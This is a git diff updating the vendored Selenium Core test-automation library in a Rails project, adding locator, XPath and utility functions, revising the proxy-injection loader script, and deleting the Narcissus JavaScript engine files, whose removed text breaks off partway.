 
 function extractExceptionMessage(ex) {
@@ -590,6 +670,20 @@ PatternMatcher.strategies = {
             return this.regexp.test(actual);
         };
     },
+    
+    regexpi: function(regexpString) {
+        this.regexp = new RegExp(regexpString, "i");
+        this.matches = function(actual) {
+            return this.regexp.test(actual);
+        };
+    },
+
+    regexi: function(regexpString) {
+        this.regexp = new RegExp(regexpString, "i");
+        this.matches = function(actual) {
+            return this.regexp.test(actual);
+        };
+    },
 
 /**
  * "globContains" (aka "wildmat") patterns, e.g. "glob:one,two,*",
@@ -638,52 +732,54 @@ PatternMatcher.regexpFromGlob = function(glob) {
     return "^" + PatternMatcher.convertGlobMetaCharsToRegexpMetaChars(glob) + "$";
 };
 
-var Assert = {
+if (!this["Assert"]) Assert = {};
 
-    fail: function(message) {
-        throw new AssertionFailedError(message);
-    },
+
+Assert.fail = function(message) {
+    throw new AssertionFailedError(message);
+};
 
 /*
 * Assert.equals(comment?, expected, actual)
 */
-    equals: function() {
-        var args = new AssertionArguments(arguments);
-        if (args.expected === args.actual) {
-            return;
-        }
-        Assert.fail(args.comment +
-                    "Expected '" + args.expected +
-                    "' but was '" + args.actual + "'");
-    },
+Assert.equals = function() {
+    var args = new AssertionArguments(arguments);
+    if (args.expected === args.actual) {
+        return;
+    }
+    Assert.fail(args.comment +
+                "Expected '" + args.expected +
+                "' but was '" + args.actual + "'");
+};
+
+Assert.assertEquals = Assert.equals;
 
 /*
 * Assert.matches(comment?, pattern, actual)
 */
-    matches: function() {
-        var args = new AssertionArguments(arguments);
-        if (PatternMatcher.matches(args.expected, args.actual)) {
-            return;
-        }
-        Assert.fail(args.comment +
-                    "Actual value '" + args.actual +
-                    "' did not match '" + args.expected + "'");
-    },
+Assert.matches = function() {
+    var args = new AssertionArguments(arguments);
+    if (PatternMatcher.matches(args.expected, args.actual)) {
+        return;
+    }
+    Assert.fail(args.comment +
+                "Actual value '" + args.actual +
+                "' did not match '" + args.expected + "'");
+}
 
 /*
 * Assert.notMtches(comment?, pattern, actual)
 */
-    notMatches: function() {
-        var args = new AssertionArguments(arguments);
-        if (!PatternMatcher.matches(args.expected, args.actual)) {
-            return;
-        }
-        Assert.fail(args.comment +
-                    "Actual value '" + args.actual +
-                    "' did match '" + args.expected + "'");
+Assert.notMatches = function() {
+    var args = new AssertionArguments(arguments);
+    if (!PatternMatcher.matches(args.expected, args.actual)) {
+        return;
     }
+    Assert.fail(args.comment +
+                "Actual value '" + args.actual +
+                "' did match '" + args.expected + "'");
+}
 
-};
 
 // Preprocess the arguments to allow for an optional comment.
 function AssertionArguments(args) {
@@ -707,6 +803,17 @@ function AssertionFailedError(message) {
 
 function SeleniumError(message) {
     var error = new Error(message);
+    if (typeof(arguments.caller) != 'undefined') { // IE, not ECMA
+        var result = '';
+        for (var a = arguments.caller; a != null; a = a.caller) {
+            result += '> ' + a.callee.toString() + '\n';
+            if (a.caller == a) {
+                result += '*';
+                break;
+            }
+        }
+        error.stack = result;
+    }
     error.isSeleniumError = true;
     return error;
 }
@@ -749,6 +856,11 @@ function openSeparateApplicationWindow(url, suppressMozillaWarning) {
     window.moveTo(window.screenX, 0);
 
     var appWindow = window.open(url + '?start=true', 'main');
+    if (appWindow == null) {
+        var errorMessage = "Couldn't open app window; is the pop-up blocker enabled?"
+        LOG.error(errorMessage);
+        throw new Error("Couldn't open app window; is the pop-up blocker enabled?");
+    }
     try {
         var windowHeight = 500;
         if (window.outerHeight) {
@@ -840,3 +952,665 @@ function safeScrollIntoView(element) {
     // TODO: work out how to scroll browsers that don't support
     // scrollIntoView (like Konqueror)
 }
+
+/**
+ * Returns the absolute time represented as an offset of the current time.
+ * Throws a SeleniumException if timeout is invalid.
+ *
+ * @param timeout  the number of milliseconds from "now" whose absolute time
+ *                 to return
+ */
+function getTimeoutTime(timeout) {
+    var now = new Date().getTime();
+    var timeoutLength = parseInt(timeout);
+    
+    if (isNaN(timeoutLength)) {
+        throw new SeleniumError("Timeout is not a number: '" + timeout + "'");
+    }
+    
+    return now + timeoutLength;
+}
+
+/**
+ * Returns true iff the current environment is the IDE.
+ */
+function is_IDE()
+{
+    return (typeof(SeleniumIDE) != 'undefined');
+}
+
+/**
+ * Logs a message if the Logger exists, and does nothing if it doesn't exist.
+ *
+ * @param level  the level to log at
+ * @param msg    the message to log
+ */
+function safe_log(level, msg)
+{
+    try {
+        LOG[level](msg);
+    }
+    catch (e) {
+        // couldn't log!
+    }
+}
+
+/**
+ * Displays a warning message to the user appropriate to the context under
+ * which the issue is encountered. This is primarily used to avoid popping up
+ * alert dialogs that might pause an automated test suite.
+ *
+ * @param msg  the warning message to display
+ */
+function safe_alert(msg)
+{
+    if (is_IDE()) {
+        alert(msg);
+    }
+}
+
+/**
+ * Returns true iff the given element represents a link with a javascript
+ * href attribute, and does not have an onclick attribute defined.
+ *
+ * @param element  the element to test
+ */
+function hasJavascriptHref(element) {
+    if (getTagName(element) != 'a') {
+        return false;
+    }
+    if (element.onclick) {
+        return false;
+    }
+    if (! element.href) {
+        return false;
+    }
+    if (! /\s*javascript:/i.test(element.href)) {
+        return false;
+    }
+    return true;
+}
+
+/**
+ * Returns the given element, or its nearest ancestor, that satisfies
+ * hasJavascriptHref(). Returns null if none is found.
+ *
+ * @param element  the element whose ancestors to test
+ */
+function getAncestorOrSelfWithJavascriptHref(element) {
+    if (hasJavascriptHref(element)) {
+        return element;
+    }
+    if (element.parentNode == null) {
+        return null;
+    }
+    return getAncestorOrSelfWithJavascriptHref(element.parentNode);
+}
+
+//******************************************************************************
+// Locator evaluation support
+
+/**
+ * Parses a Selenium locator, returning its type and the unprefixed locator
+ * string as an object.
+ *
+ * @param locator  the locator to parse
+ */
+function parse_locator(locator)
+{
+    var result = locator.match(/^([A-Za-z]+)=(.+)/);
+    if (result) {
+        return { type: result[1].toLowerCase(), string: result[2] };
+    }
+    return { type: 'implicit', string: locator };
+}
+
+/**
+ * Evaluates an xpath on a document, and returns a list containing nodes in the
+ * resulting nodeset. The browserbot xpath methods are now backed by this
+ * function. A context node may optionally be provided, and the xpath will be
+ * evaluated from that context.
+ *
+ * @param xpath       the xpath to evaluate
+ * @param inDocument  the document in which to evaluate the xpath.
+ * @param opts        (optional) An object containing various flags that can
+ *                    modify how the xpath is evaluated. Here's a listing of
+ *                    the meaningful keys:
+ *
+ *                     contextNode: 
+ *                       the context node from which to evaluate the xpath. If
+ *                       unspecified, the context will be the root document
+ *                       element.
+ *
+ *                     namespaceResolver:
+ *                       the namespace resolver function. Defaults to null.
+ *
+ *                     xpathLibrary:
+ *                       the javascript library to use for XPath. "ajaxslt" is
+ *                       the default. "javascript-xpath" is newer and faster,
+ *                       but needs more testing.
+ *
+ *                     allowNativeXpath:
+ *                       whether to allow native evaluate(). Defaults to true.
+ *
+ *                     ignoreAttributesWithoutValue:
+ *                       whether it's ok to ignore attributes without value
+ *                       when evaluating the xpath. This can greatly improve
+ *                       performance in IE; however, if your xpaths depend on
+ *                       such attributes, you can't ignore them! Defaults to
+ *                       true.
+ *
+ *                     returnOnFirstMatch:
+ *                       whether to optimize the XPath evaluation to only
+ *                       return the first match. The match, if any, will still
+ *                       be returned in a list. Defaults to false.
+ */
+function eval_xpath(xpath, inDocument, opts)
+{
+    if (!opts) {
+        var opts = {};
+    }
+    var contextNode = opts.contextNode
+        ? opts.contextNode : inDocument;
+    var namespaceResolver = opts.namespaceResolver
+        ? opts.namespaceResolver : null;
+    var xpathLibrary = opts.xpathLibrary
+        ? opts.xpathLibrary : null;
+    var allowNativeXpath = (opts.allowNativeXpath != undefined)
+        ? opts.allowNativeXpath : true;
+    var ignoreAttributesWithoutValue = (opts.ignoreAttributesWithoutValue != undefined)
+        ? opts.ignoreAttributesWithoutValue : true;
+    var returnOnFirstMatch = (opts.returnOnFirstMatch != undefined)
+        ? opts.returnOnFirstMatch : false;
+
+    // Trim any trailing "/": not valid xpath, and remains from attribute
+    // locator.
+    if (xpath.charAt(xpath.length - 1) == '/') {
+        xpath = xpath.slice(0, -1);
+    }
+    // HUGE hack - remove namespace from xpath for IE
+    if (browserVersion && browserVersion.isIE) {
+        xpath = xpath.replace(/x:/g, '')
+    }
+    
+    var nativeXpathAvailable = inDocument.evaluate;
+    var useNativeXpath = allowNativeXpath && nativeXpathAvailable;
+    var useDocumentEvaluate = useNativeXpath;
+
+    // When using the new and faster javascript-xpath library,
+    // we'll use the TestRunner's document object, not the App-Under-Test's document.
+    // The new library only modifies the TestRunner document with the new 
+    // functionality.
+    if (xpathLibrary == 'javascript-xpath' && !useNativeXpath) {
+        documentForXpath = document;
+        useDocumentEvaluate = true;
+    } else {
+        documentForXpath = inDocument;
+    }
+    var results = [];
+    
+    // this is either native xpath or javascript-xpath via TestRunner.evaluate 
+    if (useDocumentEvaluate) {
+        try {
+            // Regarding use of the second argument to document.evaluate():
+            // http://groups.google.com/group/comp.lang.javascript/browse_thread/thread/a59ce20639c74ba1/a9d9f53e88e5ebb5
+            var xpathResult = documentForXpath
+                .evaluate((contextNode == inDocument ? xpath : '.' + xpath),
+                    contextNode, namespaceResolver, 0, null);
+        }
+        catch (e) {
+            throw new SeleniumError("Invalid xpath: " + extractExceptionMessage(e));
+        }
+        finally{
+            if (xpathResult == null) {
+                // If the result is null, we should still throw an Error.
+                throw new SeleniumError("Invalid xpath: " + xpath); 
+            }
+        }
+        var result = xpathResult.iterateNext();
+        while (result) {
+            results.push(result);
+            result = xpathResult.iterateNext();
+        }
+        return results;
+    }
+
+    // If not, fall back to slower JavaScript implementation
+    // DGF set xpathdebug = true (using getEval, if you like) to turn on JS XPath debugging
+    //xpathdebug = true;
+    var context;
+    if (contextNode == inDocument) {
+        context = new ExprContext(inDocument);
+    }
+    else {
+        // provide false values to get the default constructor values
+        context = new ExprContext(contextNode, false, false,
+            contextNode.parentNode);
+    }
+    context.setCaseInsensitive(true);
+    context.setIgnoreAttributesWithoutValue(ignoreAttributesWithoutValue);
+    context.setReturnOnFirstMatch(returnOnFirstMatch);
+    var xpathObj;
+    try {
+        xpathObj = xpathParse(xpath);
+    }
+    catch (e) {
+        throw new SeleniumError("Invalid xpath: " + extractExceptionMessage(e));
+    }
+    var xpathResult = xpathObj.evaluate(context);
+    if (xpathResult && xpathResult.value) {
+        for (var i = 0; i < xpathResult.value.length; ++i) {
+            results.push(xpathResult.value[i]);
+        }
+    }
+    return results;
+}
+
+/**
+ * Returns the full resultset of a CSS selector evaluation.
+ */
+function eval_css(locator, inDocument)
+{
+    return cssQuery(locator, inDocument);
+}
+
+/**
+ * This function duplicates part of BrowserBot.findElement() to open up locator
+ * evaluation on arbitrary documents. It returns a plain old array of located
+ * elements found by using a Selenium locator.
+ * 
+ * Multiple results may be generated for xpath and CSS locators. Even though a
+ * list could potentially be generated for other locator types, such as link,
+ * we don't try for them, because they aren't very expressive location
+ * strategies; if you want a list, use xpath or CSS. Furthermore, strategies
+ * for these locators have been optimized to only return the first result. For
+ * these types of locators, performance is more important than ideal behavior.
+ * 
+ * @param locator          a locator string
+ * @param inDocument       the document in which to apply the locator
+ * @param opt_contextNode  the context within which to evaluate the locator
+ *
+ * @return  a list of result elements
+ */
+function eval_locator(locator, inDocument, opt_contextNode)
+{
+    locator = parse_locator(locator);
+    
+    var pageBot;
+    if (typeof(selenium) != 'undefined' && selenium != undefined) {
+        if (typeof(editor) == 'undefined' || editor.state == 'playing') {
+            safe_log('info', 'Trying [' + locator.type + ']: '
+                + locator.string);
+        }
+        pageBot = selenium.browserbot;
+    }
+    else {
+        if (!UI_GLOBAL.mozillaBrowserBot) {
+            // create a browser bot to evaluate the locator. Hand it the IDE
+            // window as a dummy window, and cache it for future use.
+            UI_GLOBAL.mozillaBrowserBot = new MozillaBrowserBot(window)
+        }
+        pageBot = UI_GLOBAL.mozillaBrowserBot;
+    }
+    
+    var results = [];
+    
+    if (locator.type == 'xpath' || (locator.string.charAt(0) == '/' &&
+        locator.type == 'implicit')) {
+        results = eval_xpath(locator.string, inDocument,
+            { contextNode: opt_contextNode });
+    }
+    else if (locator.type == 'css') {
+        results = eval_css(locator.string, inDocument);
+    }
+    else {
+        var element = pageBot
+            .findElementBy(locator.type, locator.string, inDocument);
+        if (element != null) {
+            results.push(element);
+        }
+    }
+    
+    return results;
+}
+
+//******************************************************************************
+// UI-Element
+
+/**
+ * Escapes the special regular expression characters in a string intended to be
+ * used as a regular expression.
+ *
+ * Based on: http://simonwillison.net/2006/Jan/20/escape/
+ */
+RegExp.escape = (function() {
+    var specials = [
+        '/', '.', '*', '+', '?', '|', '^', '$',
+        '(', ')', '[', ']', '{', '}', '\\'
+    ];
+    
+    var sRE = new RegExp(
+        '(\\' + specials.join('|\\') + ')', 'g'
+    );
+  
+    return function(text) {
+        return text.replace(sRE, '\\$1');
+    }
+})();
+
+/**
+ * Returns true if two arrays are identical, and false otherwise.
+ *
+ * @param a1  the first array, may only contain simple values (strings or
+ *            numbers)
+ * @param a2  the second array, same restricts on data as for a1
+ * @return    true if the arrays are equivalent, false otherwise.
+ */
+function are_equal(a1, a2)
+{
+    if (typeof(a1) != typeof(a2))
+        return false;
+    
+    switch(typeof(a1)) {
+        case 'object':
+            // arrays
+            if (a1.length) {
+                if (a1.length != a2.length)
+                    return false;
+                for (var i = 0; i < a1.length; ++i) {
+                    if (!are_equal(a1[i], a2[i]))
+                        return false
+                }
+            }
+            // associative arrays
+            else {
+                var keys = {};
+                for (var key in a1) {
+                    keys[key] = true;
+                }
+                for (var key in a2) {
+                    keys[key] = true;
+                }
+                for (var key in keys) {
+                    if (!are_equal(a1[key], a2[key]))
+                        return false;
+                }
+            }
+            return true;
+            
+        default:
+            return a1 == a2;
+    }
+}
+
+
+/**
+ * Create a clone of an object and return it. This is a deep copy of everything
+ * but functions, whose references are copied. You shouldn't expect a deep copy
+ * of functions anyway.
+ *
+ * @param orig  the original object to copy
+ * @return      a deep copy of the original object. Any functions attached,
+ *              however, will have their references copied only.
+ */
+function clone(orig) {
+    var copy;
+    switch(typeof(orig)) {
+        case 'object':
+            copy = (orig.length) ? [] : {};
+            for (var attr in orig) {
+                copy[attr] = clone(orig[attr]);
+            }
+            break;
+        default:
+            copy = orig;
+            break;
+    }
+    return copy;
+}
+
+/**
+ * Emulates php's print_r() functionality. Returns a nicely formatted string
+ * representation of an object. Very useful for debugging.
+ *
+ * @param object    the object to dump
+ * @param maxDepth  the maximum depth to recurse into the object. Ellipses will
+ *                  be shown for objects whose depth exceeds the maximum.
+ * @param indent    the string to use for indenting progressively deeper levels
+ *                  of the dump.
+ * @return          a string representing a dump of the object
+ */
+function print_r(object, maxDepth, indent)
+{
+    var parentIndent, attr, str = "";
+    if (arguments.length == 1) {
+        var maxDepth = Number.MAX_VALUE;
+    } else {
+        maxDepth--;
+    }
+    if (arguments.length < 3) {
+        parentIndent = ''
+        var indent = '    ';
+    } else {
+        parentIndent = indent;
+        indent += '    ';
+    }
+
+    switch(typeof(object)) {
+    case 'object':
+        if (object.length != undefined) {
+            if (object.length == 0) {
+                str += "Array ()\r\n";
+            }
+            else {
+                str += "Array (\r\n";
+                for (var i = 0; i < object.length; ++i) {
+                    str += indent + '[' + i + '] => ';
+                    if (maxDepth == 0)
+                        str += "...\r\n";
+                    else
+                        str += print_r(object[i], maxDepth, indent);
+                }
+                str += parentIndent + ")\r\n";
+            }
+        }
+        else {
+            str += "Object (\r\n";
+            for (attr in object) {
+                str += indent + "[" + attr + "] => ";
+                if (maxDepth == 0)
+                    str += "...\r\n";
+                else
+                    str += print_r(object[attr], maxDepth, indent);
+            }
+            str += parentIndent + ")\r\n";
+        }
+        break;
+    case 'boolean':
+        str += (object ? 'true' : 'false') + "\r\n";
+        break;
+    case 'function':
+        str += "Function\r\n";
+        break;
+    default:
+        str += object + "\r\n";
+        break;
+
+    }
+    return str;
+}
+
+/**
+ * Return an array containing all properties of an object. Perl-style.
+ *
+ * @param object  the object whose keys to return
+ * @return        array of object keys, as strings
+ */
+function keys(object)
+{
+    var keys = [];
+    for (var k in object) {
+        keys.push(k);
+    }
+    return keys;
+}
+
+/**
+ * Emulates python's range() built-in. Returns an array of integers, counting
+ * up (or down) from start to end. Note that the range returned is up to, but
+ * NOT INCLUDING, end.
+ *.
+ * @param start  integer from which to start counting. If the end parameter is
+ *               not provided, this value is considered the end and start will
+ *               be zero.
+ * @param end    integer to which to count. If omitted, the function will count
+ *               up from zero to the value of the start parameter. Note that
+ *               the array returned will count up to but will not include this
+ *               value.
+ * @return       an array of consecutive integers. 
+ */
+function range(start, end)
+{
+    if (arguments.length == 1) {
+        var end = start;
+        start = 0;
+    }
+    
+    var r = [];
+    if (start < end) {
+        while (start != end)
+            r.push(start++);
+    }
+    else {
+        while (start != end)
+            r.push(start--);
+    }
+    return r;
+}
+
+/**
+ * Parses a python-style keyword arguments string and returns the pairs in a
+ * new object.
+ *
+ * @param  kwargs  a string representing a set of keyword arguments. It should
+ *                 look like <tt>keyword1=value1, keyword2=value2, ...</tt>
+ * @return         an object mapping strings to strings
+ */
+function parse_kwargs(kwargs)
+{
+    var args = new Object();
+    var pairs = kwargs.split(/,/);
+    for (var i = 0; i < pairs.length;) {
+        if (i > 0 && pairs[i].indexOf('=') == -1) {
+            // the value string contained a comma. Glue the parts back together.
+            pairs[i-1] += ',' + pairs.splice(i, 1)[0];
+        }
+        else {
+            ++i;
+        }
+    }
+    for (var i = 0; i < pairs.length; ++i) {
+        var splits = pairs[i].split(/=/);
+        if (splits.length == 1) {
+            continue;
+        }
+        var key = splits.shift();
+        var value = splits.join('=');
+        args[key.trim()] = value.trim();
+    }
+    return args;
+}
+
+/**
+ * Creates a python-style keyword arguments string from an object.
+ *
+ * @param args        an associative array mapping strings to strings
+ * @param sortedKeys  (optional) a list of keys of the args parameter that
+ *                    specifies the order in which the arguments will appear in
+ *                    the returned kwargs string
+ *
+ * @return            a kwarg string representation of args
+ */
+function to_kwargs(args, sortedKeys)
+{
+    var s = '';
+    if (!sortedKeys) {
+        var sortedKeys = keys(args).sort();
+    }
+    for (var i = 0; i < sortedKeys.length; ++i) {
+        var k = sortedKeys[i];
+        if (args[k] != undefined) {
+            if (s) {
+                s += ', ';
+            }
+            s += k + '=' + args[k];
+        }
+    }
+    return s;
+}
+
+/**
+ * Returns true if a node is an ancestor node of a target node, and false
+ * otherwise.
+ *
+ * @param node    the node being compared to the target node
+ * @param target  the target node
+ * @return        true if node is an ancestor node of target, false otherwise.
+ */
+function is_ancestor(node, target)
+{
+    while (target.parentNode) {
+        target = target.parentNode;
+        if (node == target)
+            return true;
+    }
+    return false;
+}
+
+//******************************************************************************
+// parseUri 1.2.1
+// MIT License
+
+/*
+Copyright (c) 2007 Steven Levithan <stevenlevithan.com>
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+*/
+
+function parseUri (str) {
+    var o   = parseUri.options,
+        m   = o.parser[o.strictMode ? "strict" : "loose"].exec(str),
+        uri = {},
+        i   = 14;
+
+    while (i--) uri[o.key[i]] = m[i] || "";
+
+    uri[o.q.name] = {};
+    uri[o.key[12]].replace(o.q.parser, function ($0, $1, $2) {
+        if ($1) uri[o.q.name][$1] = $2;
+    });
+
+    return uri;
+};
+
+parseUri.options = {
+    strictMode: false,
+    key: ["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"],
+    q:   {
+        name:   "queryKey",
+        parser: /(?:^|&)([^&=]*)=?([^&]*)/g
+    },
+    parser: {
+        strict: /^(?:([^:\/?#]+):)?(?:\/\/((?:(([^:@]*):?([^:@]*))?@)?([^:\/?#]*)(?::(\d*))?))?((((?:[^?#\/]*\/)*)([^?#]*))(?:\?([^#]*))?(?:#(.*))?)/,
+        loose:  /^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@]*):?([^:@]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/
+    }
+};
+
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/injection.html b/vendor/plugins/selenium-on-rails/selenium-core/scripts/injection.html
index a75c7211..546e7500 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/injection.html
+++ b/vendor/plugins/selenium-on-rails/selenium-core/scripts/injection.html
@@ -1,79 +1,72 @@
-<script language="JavaScript">
-    if (window["selenium_has_been_loaded_into_this_window"]==null)
-    {
-
-        __SELENIUM_JS__
-
-// Some background on the code below: broadly speaking, where we are relative to other windows
-// when running in proxy injection mode depends on whether we are in a frame set file or not.
-//
-// In regular HTML files, the selenium JavaScript is injected into an iframe called "selenium"
-// in order to reduce its impact on the JavaScript environment (through namespace pollution,
-// etc.).  So in regular HTML files, we need to look at the parent of the current window when we want
-// a handle to, e.g., the application window.
-//
-// In frame set files, we can't use an iframe, so we put the JavaScript in the head element and share
-// the window with the frame set.  So in this case, we need to look at the current window, not the
-// parent when looking for, e.g., the application window.  (TODO: Perhaps I should have just
-// assigned a regular frame for selenium?)
-//
-BrowserBot.prototype.getContentWindow = function() {
-    if (window["seleniumInSameWindow"] != null) return window;
-    return window.parent;
-};
-
-BrowserBot.prototype.getTargetWindow = function(windowName) {
-    if (window["seleniumInSameWindow"] != null) return window;
-    return window.parent;
-};
-
-BrowserBot.prototype.getCurrentWindow = function() {
-    if (window["seleniumInSameWindow"] != null) return window;
-    return window.parent;
-};
-
-LOG.openLogWindow = function(message, className) {
-	// disable for now
-};
-
-BrowserBot.prototype.relayToRC = function(name) {
-	var object = eval(name);
-        var s = 'state:' + serializeObject(name, object) + "\n";
-        sendToRC(s,"state=true");
-}
-
-BrowserBot.prototype.relayBotToRC = function(s) {
-	this.relayToRC("selenium." + s);
-}
-
-function selenium_frameRunTest(oldOnLoadRoutine) {
-	if (oldOnLoadRoutine) {
-		eval(oldOnLoadRoutine);
-	}
-        runSeleniumTest();
-}
-
-function seleniumOnLoad() {
-    	injectedSessionId = @SESSION_ID@;
-        window["selenium_has_been_loaded_into_this_window"] = true;
-        runSeleniumTest();
-}
-
-function seleniumOnUnload() {
-	sendToRC("OK"); // just in case some poor PI server thread is waiting for a response
-}
-
-if (window.addEventListener) {
-    	window.addEventListener("load", seleniumOnLoad, false);	// firefox
-    	window.addEventListener("unload", seleniumOnUnload, false);	// firefox
-} else if (window.attachEvent){
-    	window.attachEvent("onload", seleniumOnLoad);	// IE
-    	window.attachEvent("onunload", seleniumOnUnload);	// IE
-}
-else {
-    	throw "causing a JavaScript error to tell the world that I did not arrange to be run on load";
-}
-
-injectedSessionId = @SESSION_ID@;
-}
-</script>
+<script language="JavaScript">
+    if (window["selenium_has_been_loaded_into_this_window"]==null)
+    {
+
+        __SELENIUM_JS__
+// Some background on the code below: broadly speaking, where we are relative to other windows
+// when running in proxy injection mode depends on whether we are in a frame set file or not.
+//
+// In regular HTML files, the selenium JavaScript is injected into an iframe called "selenium"
+// in order to reduce its impact on the JavaScript environment (through namespace pollution,
+// etc.).  So in regular HTML files, we need to look at the parent of the current window when we want
+// a handle to, e.g., the application window.
+//
+// In frame set files, we can't use an iframe, so we put the JavaScript in the head element and share
+// the window with the frame set.  So in this case, we need to look at the current window, not the
+// parent when looking for, e.g., the application window.  (TODO: Perhaps I should have just
+// assigned a regular frame for selenium?)
+//
+BrowserBot.prototype.getContentWindow = function() {
+    return window;
+};
+
+BrowserBot.prototype.getTargetWindow = function(windowName) {
+    return window;
+};
+
+BrowserBot.prototype.getCurrentWindow = function() {
+    return window;
+};
+
+LOG.openLogWindow = function(message, className) {
+	// disable for now
+};
+
+BrowserBot.prototype.relayToRC = function(name) {
+	var object = eval(name);
+        var s = 'state:' + serializeObject(name, object) + "\n";
+        sendToRC(s,"state=true");
+}
+
+function selenium_frameRunTest(oldOnLoadRoutine) {
+	if (oldOnLoadRoutine) {
+		eval(oldOnLoadRoutine);
+	}
+        runSeleniumTest();
+}
+
+function seleniumOnLoad() {
+    injectedSessionId = "@SESSION_ID@";
+    window["selenium_has_been_loaded_into_this_window"] = true;
+    runSeleniumTest();
+}
+
+function seleniumOnUnload() {
+	sendToRC("Current window or frame is closed!", "closing=true");
+}
+
+if (window.addEventListener) {
+        window.addEventListener("load", seleniumOnLoad, false);	// firefox
+        window.addEventListener("unload", seleniumOnUnload, false);	// firefox
+} else if (window.attachEvent){
+    	window.attachEvent("onload", seleniumOnLoad);	// IE
+        window.attachEvent("onunload", seleniumOnUnload);	// IE
+}
+else {
+    	throw "causing a JavaScript error to tell the world that I did not arrange to be run on load";
+}
+
+injectedSessionId = "@SESSION_ID@";
+proxyInjectionMode = true;
+}
+</script>
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/injection_iframe.html b/vendor/plugins/selenium-on-rails/selenium-core/scripts/injection_iframe.html
deleted file mode 100644
index bc26e859..00000000
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/injection_iframe.html
+++ /dev/null
@@ -1,7 +0,0 @@
-<script language="JavaScript">
-    // Ideally I would avoid polluting the namespace by enclosing this snippet with
-    // curly braces, but I want to make it easy to look at what URL I used for anyone
-    // who is interested in looking into http://jira.openqa.org/browse/SRC-101:
-    var _sel_url_ = "http://" + location.host + "/selenium-server/core/scripts/injection.html";
-    document.write('<iframe name="selenium" width=0 height=0 id="selenium" src="' + _sel_url_ + '"></iframe>');
-</script> 
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/js2html.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/js2html.js
deleted file mode 100644
index 407709df..00000000
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/js2html.js
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
-
-This is an experiment in using the Narcissus JavaScript engine 
-to allow Selenium scripts to be written in plain JavaScript.
-
-The 'jsparse' function will compile each high level block into a Selenium table script.
-
-
-TODO: 
-1) Test! (More browsers, more sample scripts)
-2) Stepping and walking lower levels of the parse tree
-3) Calling Selenium commands directly from JavaScript
-4) Do we want comments to appear in the TestRunner?
-5) Fix context so variables don't have to be global
-   For now, variables defined with "var" won't be found
-   if used later on in a script.
-6) Fix formatting   
-*/
-
-
-function jsparse() {
-    var script = document.getElementById('sejs')
-    var fname = 'javascript script';
-    parse_result = parse(script.text, fname, 0);       
-
-    var x2 = new ExecutionContext(GLOBAL_CODE);
-    ExecutionContext.current = x2;
-
-
-    var new_test_source = '';    
-    var new_line        = '';
-    
-    for (i=0;i<parse_result.$length;i++){ 
-        var the_start = parse_result[i].start;
-        var the_end;
-        if ( i == (parse_result.$length-1)) {
-            the_end = parse_result.tokenizer.source.length;
-        } else {
-            the_end = parse_result[i+1].start;
-        }
-        
-        var script_fragment = parse_result.tokenizer.source.slice(the_start,the_end)
-        
-        new_line = '<tr><td style="display:none;" class="js">getEval</td>' +
-                   '<td style="display:none;">currentTest.doNextCommand()</td>' +
-                   '<td style="white-space: pre;">' + script_fragment + '</td>' + 
-                   '<td></td></tr>\n';
-        new_test_source += new_line;
-        //eval(script_fragment);
-        
-              
-    };
-    
-    
-    
-    execute(parse_result,x2)
-
-    // Create HTML Table        
-    body = document.body      
-    body.innerHTML += "<table class='selenium' id='se-js-table'>"+
-                      "<tbody>" +
-                      "<tr><td>// " + document.title + "</td></tr>" +
-                      new_test_source +
-                      "</tbody" +
-                      "</table>";          
-   
-    //body.innerHTML = "<pre>" + parse_result + "</pre>"
-}
-
-
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/narcissus-defs.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/narcissus-defs.js
deleted file mode 100644
index 5869397d..00000000
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/narcissus-defs.js
+++ /dev/null
@@ -1,175 +0,0 @@
-/* ***** BEGIN LICENSE BLOCK *****
- * Version: MPL 1.1/GPL 2.0/LGPL 2.1
- *
- * The contents of this file are subject to the Mozilla Public License Version
- * 1.1 (the "License"); you may not use this file except in compliance with
- * the License. You may obtain a copy of the License at
- * http://www.mozilla.org/MPL/
- *
- * Software distributed under the License is distributed on an "AS IS" basis,
- * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- * for the specific language governing rights and limitations under the
- * License.
- *
- * The Original Code is the Narcissus JavaScript engine.
- *
- * The Initial Developer of the Original Code is
- * Brendan Eich <brendan@mozilla.org>.
- * Portions created by the Initial Developer are Copyright (C) 2004
- * the Initial Developer. All Rights Reserved.
- *
- * Contributor(s):
- *
- * Alternatively, the contents of this file may be used under the terms of
- * either the GNU General Public License Version 2 or later (the "GPL"), or
- * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- * in which case the provisions of the GPL or the LGPL are applicable instead
- * of those above. If you wish to allow use of your version of this file only
- * under the terms of either the GPL or the LGPL, and not to allow others to
- * use your version of this file under the terms of the MPL, indicate your
- * decision by deleting the provisions above and replace them with the notice
- * and other provisions required by the GPL or the LGPL. If you do not delete
- * the provisions above, a recipient may use your version of this file under
- * the terms of any one of the MPL, the GPL or the LGPL.
- *
- * ***** END LICENSE BLOCK ***** */
-
-/*
- * Narcissus - JS implemented in JS.
- *
- * Well-known constants and lookup tables.  Many consts are generated from the
- * tokens table via eval to minimize redundancy, so consumers must be compiled
- * separately to take advantage of the simple switch-case constant propagation
- * done by SpiderMonkey.
- */
-
-// jrh
-//module('JS.Defs');
-
-GLOBAL = this;
-
-var tokens = [
-    // End of source.
-    "END",
-
